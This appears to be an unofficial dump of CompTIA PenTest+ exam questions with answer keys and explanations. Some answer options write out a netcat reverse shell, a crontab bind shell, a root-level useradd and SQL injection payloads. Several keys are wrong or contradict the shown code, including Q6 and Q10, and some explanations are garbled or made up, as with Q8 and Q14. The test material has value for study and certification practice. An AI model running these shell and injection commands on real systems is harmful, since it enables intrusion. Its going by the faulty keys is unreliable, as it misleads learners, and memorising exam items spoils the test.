CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam

NEW QUESTION 1
Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

A. SOW
B. SLA
C. MSA
D. NDA

Answer: A

Explanation:
The document that is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables is the SOW (Statement of Work). The SOW is a formal document that describes the objectives, expectations, and responsibilities of the penetration-testing project2. The SOW should be clear, concise, and comprehensive to avoid any ambiguity or misunderstanding.

NEW QUESTION 2
A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:
U3VQZXIkM2NyZXQhCg==
Which of the following commands should the tester use NEXT to decode the contents of the file?

A. echo U3VQZXIkM2NyZXQhCg== | base64 €"d
B. tar zxvf password.txt
C. hydra €"l svsacct €"p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

Answer: A

NEW QUESTION 3
A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

A. Network segmentation
B. Key rotation
C. Encrypted passwords
D. Patch management

Answer: D

Explanation:
Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.
Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.
Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.
Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 4
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

A. nmap –f –sV –p80 192.168.1.20
B. nmap –sS –sL –p80 192.168.1.20
C. nmap –A –T4 –p80 192.168.1.20
D. nmap –O –v –p80 192.168.1.20

Answer: C

Explanation:
This command will scan the host 192.168.1.20 on port 80 using the following options:
- -A: This option enables OS detection, version detection, script scanning, and traceroute. This will help to determine if the host is running an approved version of Linux and a patched version of Apache, as well as other information about the host and the network path.
- -T4: This option sets the timing template to aggressive, which speeds up the scan by increasing the number of parallel probes, reducing the timeouts, and assuming faster responses.
- -p80: This option specifies the port to scan, which is 80 in this case. Port 80 is commonly used for HTTP services, such as Apache web server.

NEW QUESTION 5
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset ($_POST ['item'])){
        echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);
}
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

A. Hydra and crunch
B. Netcat and cURL
C. Burp Suite and DIRB
D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 6
During an assessment, a penetration tester found a suspicious script that could indicate a prior compromise. While reading the script, the penetration tester noticed the following lines of code:

```
import subprocess
subprocess.call("ifconfig eth0 down", Shell=True)
subprocess.call("ifconfig eth0 hw ether 2a:33:41:56:21:34", Shell=True)
subprocess.call("ifconfig eth0 up", Shell=True)
```

Which of the following was the script author trying to do?

A. Spawn a local shell.
B. Disable NIC.
C. List processes.
D. Change the MAC address

Answer: A

Explanation:
s for what the script author was trying to do.

NEW QUESTION 7
Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

A. The CVSS score of the finding
B. The network location of the vulnerable device
C. The vulnerability identifier
D. The client acceptance form
E. The name of the person who found the flaw
F. The tool used to find the issue

Answer: CF

NEW QUESTION 8
Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

A. Tandem
B. Reversal
C. Semi-authorized
D. Known environment

Answer: D

Explanation:
The OSSTM testing methodology that should be used to test under the worst conditions is known
environment, which is a testing approach that assumes that the tester has full knowledge of the target system or network, such as its architecture, configuration, vulnerabilities, or defenses. A known environment testing can simulate a worst-case scenario, where an attacker has gained access to sensitive information or insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or high-risk areas of the target, and provide recommendations for improving its security posture. The other options are not OSSTM testing methodologies that should be used to test under the worst conditions. Tandem is a testing approach that involves two testers working together on the same target, one as an attacker and one as a defender, to simulate a realistic attack scenario and evaluate the effectiveness of the defense mechanisms. Reversal is a testing approach that involves switching roles between the tester and the client, where the tester acts as a defender and the client acts as an attacker, to assess the security awareness and skills of the client. Semi-authorized is a testing approach that involves giving partial or limited authorization or access to the tester, such as a user account or a network segment, to simulate an attack scenario where an attacker has compromised a legitimate user or device.

NEW QUESTION 9
A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

A. Add a dependency checker into the tool chain.
B. Perform routine static and dynamic analysis of committed code.

C. Validate API security settings before deployment.
D. Perform fuzz testing of compiled binaries.

Answer: A

Explanation:
Adding a dependency checker into the tool chain is the best recommendation for the company that has been including vulnerable third-party modules in multiple products. A dependency checker is a tool that analyzes the dependencies of a software project and identifies any known vulnerabilities or outdated versions. This can help the developers to update or replace the vulnerable modules before deploying the products.

NEW QUESTION 10
A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----------------
DURB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----------------
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a blank page was displayed.
Which of the following is the MOST likely reason for the lack of output?

A. The HTTP port is not open on the firewall.
B. The tester did not run sudo before the command.
C. The web server is using HTTPS instead of HTTP.
D. This URI returned a server error.

Answer: A

NEW QUESTION 11
A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR
DELAY '00:00:05'
Which of the following should the penetration tester attempt NEXT?

A. http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'
B. http://company.com/catalog.asp?productid=22' OR 1=1 -
C. http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -
D. http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash

Answer: C

Explanation:
This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 12
A penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says "WAITFOR." Which of the following attacks is being attempted?

A. SQL injection
B. HTML injection
C. Remote command injection
D. DLL injection

Answer: A

Explanation:
WAITFOR can be used in a type of SQL injection attack known as time delay SQL injection or blind SQL injection34. This attack works on the basis that true or

false queries can be answered by the amount of time a request takes to complete. For example, an attacker can inject a WAITFOR command with a delay argument into an input field of a web application that uses SQL Server as its database. If the query returns true, then the web application will pause for the specified period of time before responding; if the query returns false, then the web application will respond immediately. By observing the response time, the attacker can infer information about the database structure and data1.
Based on this information, one possible answer to your question is A. SQL injection, because it is an attack that exploits a vulnerability in a web application that allows an attacker to execute arbitrary SQL commands on the database server.

NEW QUESTION 13
When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

A. security compliance regulations or laws may be violated.
B. testing can make detecting actual APT more challenging.
C. testing adds to the workload of defensive cyber- and threat-hunting teams.
D. business and network operations may be impacted.

Answer: D

NEW QUESTION 14
A penetration tester is testing a new API for the company's existing services and is preparing the following script:

```
#!/bin/bash
for each in GET POST PUT TRACE CONNECT OPTIONS;
do
printf "Seach / HTTP/1.1\nHost:www.comptia.org\r\n\r\n" | nc www.comptia.org 80
```

Which of the following would the test discover?

A. Default web configurations
B. Open web ports on a host
C. Supported HTTP methods
D. Listening web servers in a domain

Answer: C

Explanation:
The script is using the requests library to send an OPTIONS request to the API endpoint, which returns a list of supported HTTP methods for that resource. This can help the penetration tester to identify potential attack vectors or vulnerabilities based on the methods allowed.

NEW QUESTION 15
Which of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?

A. DirBuster
B. CeWL
C. w3af
D. Patator

Answer: B

Explanation:
CeWL, the Custom Word List Generator, is a Ruby application that allows you to spider a website based on a URL and depth setting and then generate a wordlist from the files and web pages it finds. Running CeWL against a target organization’s sites can help generate a custom word list, but you will typically want to add words manually based on your own OSINT gathering efforts.
https://esgeeks.com/como-utilizar-cewl/

NEW QUESTION 16
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

A. nmap192.168.1.1-5–PU22-25,80
B. nmap192.168.1.1-5–PA22-25,80
C. nmap192.168.1.1-5–PS22-25,80
D. nmap192.168.1.1-5–Ss22-25,80

Answer: C

Explanation:
PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.
The nmap –PS22-25,80 192.168.1.1-5 command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a
RST packet, it means the port is closed and not accepting connections. If there is no response, it means the por is filtered by a firewall or IDS1.

NEW QUESTION 17
A penetration tester wrote the following comment in the final report: "Eighty-five percent of the systems tested were found to be prone to unauthorized access from

the internet." Which of the following audiences was this message intended?

A. Systems administrators
B. C-suite executives
C. Data privacy ombudsman
D. Regulatory officials

Answer: B

Explanation:
The comment in the final report was intended for C-suite executives, which are senior-level managers or leaders in an organization, such as the chief executive officer (CEO), chief financial officer (CFO), or chief information officer (CIO). C-suite executives are typically interested in high-level summaries or overviews of the penetration test results, such as the percentage of systems affected by a certain vulnerability or risk, the potential impact or cost of a breach, or the recommended actions or priorities for remediation. C-suite executives may not have the technical background or expertise to understand detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. The comment in the final report provides a high-level summary of the penetration test result that is relevant and understandable for C-suite executives. The other audiences are not likely to be interested in this comment. Systems administrators are technical staff who are responsible for installing, configuring, maintaining, and securing systems and networks. They would be more interested in detailed or technical information about the penetration test, such as specific vulnerabilities, exploits, tools, or techniques. Data privacy ombudsman is a person who acts as an independent mediator between individuals and organizations regarding data privacy issues or complaints. They would be more interested in information about how the penetration test complied with data privacy laws and regulations, such as GDPR or CCPA. Regulatory officials are authorities who enforce compliance with laws and regulations related to a specific industry or sector, such as finance, health care, or energy. They would be more interested in information about how the penetration test complied with industry-specific standards and frameworks, such as PCI-DSS, HIPAA, or NERC-CIP.

NEW QUESTION 18
A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

A. Steganography
B. Metadata removal
C. Encryption
D. Encode64

Answer: B

Explanation:
All other answers are a form of encryption or randomizing the data.

NEW QUESTION 19
A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

A. The timing of the scan
B. The bandwidth limitations
C. The inventory of assets and versions
D. The type of scan

Answer: C

NEW QUESTION 20
A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:

```
sendp(Ether()/dot1q(vlan=100)/dot1q(vlan=50)/IP(dst="172.16.50.10")/ICMP())
```

Which of the following represents what the penetration tester is attempting to accomplish?

A. DNS cache poisoning
B. MAC spoofing
C. ARP poisoning
D. Double-tagging attack

Answer: D

Explanation:
https://scapy.readthedocs.io/en/latest/usage.html

NEW QUESTION 21
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
B. wmic startup get caption,command
C. crontab –l; echo "@reboot sleep 200 && ncat –lvp 4242 –e /bin/bash") | crontab 2>/dev/null
D. sudo useradd –ou 0 –g 0 user

Answer: A

NEW QUESTION 22
A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

A. Nmap -s 445 -Pn -T5 172.21.0.0/16
B. Nmap -p 445 -n -T4 -open 172.21.0.0/16
C. Nmap -sV --script=smb* 172.21.0.0/16
D. Nmap -p 445 -max -sT 172. 21.0.0/16

Answer: B

Explanation:
Nmap is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The command Nmap -p 445 -n -T4 -open 172.21.0.0/16 would scan for SMB port 445 over a /16 network with the following options:

- -p 445 specifies the port number to scan.
- -n disables DNS resolution, which can speed up the scan by avoiding unnecessary queries.
- -T4 sets the timing template to aggressive, which increases the speed of the scan by sending packets faster and waiting less for responses.
- –open only shows hosts that have open ports, which can reduce the output and focus on relevant results.

The other commands are not optimal for scanning SMB port 445 over a /16 network when stealth is not a concern and the task is time sensitive.

NEW QUESTION 23
A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

A. Open-source research
B. A ping sweep
C. Traffic sniffing
D. Port knocking
E. A vulnerability scan
F. An Nmap scan

Answer: AC

Explanation:
Open-source research and traffic sniffing are two activities that have a minimal chance of detection, as they do not involve sending any packets or requests to the target network or system. Open-source research is the process of gathering information from publicly available sources, such as websites, social media, blogs, forums, etc. Traffic sniffing is the process of capturing and analyzing network packets that are transmitted over a shared medium, such as wireless or Ethernet.

NEW QUESTION 24
The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port     State     Service     Version
22/tcp   open      ssh         OpenSSH 6.6.1p1
53/tcp   open      domain      dnsmasq 2.72
80/tcp   open      http        lighttpd
443/tcp  open      ssl/http    httpd

Service Info: OS: Linux: Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
B. This device is most likely a gateway with in-band management services.
C. This device is most likely a proxy server forwarding requests over TCP/443.
D. This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:
The heart bleed bug is an open ssl bug which does not affect SSH Ref:
https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh

NEW QUESTION 25
Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

A. Active scanning
B. Ping sweep

C. Protocol reversing
D. Packet analysis

Answer: A

NEW QUESTION 26
A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

A. Shoulder surfing
B. Call spoofing
C. Badge stealing
D. Tailgating
E. Dumpster diving
F. Email phishing

Answer: CD

NEW QUESTION 27
A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company’s employees.
Which of the following tools can help the tester achieve this goal?

A. Metasploit
B. Hydra
C. SET
D. WPScan

Answer: A

NEW QUESTION 28
Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

A. After detection of a breach
B. After a merger or an acquisition
C. When an organization updates its network firewall configurations
D. When most of the vulnerabilities have been remediated

Answer: D

NEW QUESTION 29
A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this
URL?

A. SQLmap
B. Nessus
C. Nikto
D. DirBuster

Answer: B

NEW QUESTION 30
Given the following output: User-agent:*
Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/
During which of the following activities was this output MOST likely obtained?

A. Website scraping
B. Website cloning
C. Domain enumeration
D. URL enumeration

Answer: D

Explanation:
URL enumeration is the activity of discovering and mapping the URLs of a website, such as directories, files, parameters, or subdomains. URL enumeration can help to identify the structure, content, and functionality of a website, as well as potential vulnerabilities or misconfigurations. One of the methods of URL enumeration is to analyze the robots.txt file of a website, which is a text file that tells search engine crawlers which URLs the crawler can or can’t request from the site1. The output shown in the question is an example of a robots.txt file that disallows crawling of certain URLs, such as /author/, /xmlrpc.php, /wp-admin, or /page/.

NEW QUESTION 31
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